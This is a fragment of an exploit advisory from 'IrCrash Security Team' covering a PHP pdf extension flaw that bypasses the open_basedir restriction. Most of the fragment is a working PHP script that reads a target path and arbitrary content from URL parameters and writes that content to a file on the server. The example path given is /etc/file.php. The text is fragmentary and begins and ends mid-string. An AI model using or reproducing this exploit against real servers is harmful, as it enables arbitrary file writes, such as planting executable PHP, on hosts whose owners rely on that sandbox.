|
IrCrash Security Team . ' . $__PATH . "\n" . 'created .
Description:
------------
Via this bug , attacker can save a file in path that not allowed in
open_basedir .
Reproduce code:
---------------
http://IrCrash.com
if(!extension_loaded('pdf')){
die('pdf extension required .');
}else{
$__PATH = $_GET['p']; /*The path that u want save file in .ex:
/etc/file.php*/
$__VALUE = $_GET['v']; /*The text that u want save in file .ex:
*/
if(!isset($__PATH,$__VALUE)){
die('/expl.php?p=[path_u_want_save_file]/[file_name]&v=[value_u_want_sav
e_in_file]');
}
$__IRCRASH = pdf_new();
pdf_open_file($__IRCRASH,$__PATH);
pdf_begin_page($__IRCRASH,612,792);
pdf_add_note($__IRCRASH,100,650,200,750,$__VALUE,'R3d.W0rm','note',0);
pdf_end_page($__IRCRASH);
pdf_close($__IRCRASH);
pdf_delete($__IRCRASH);
print('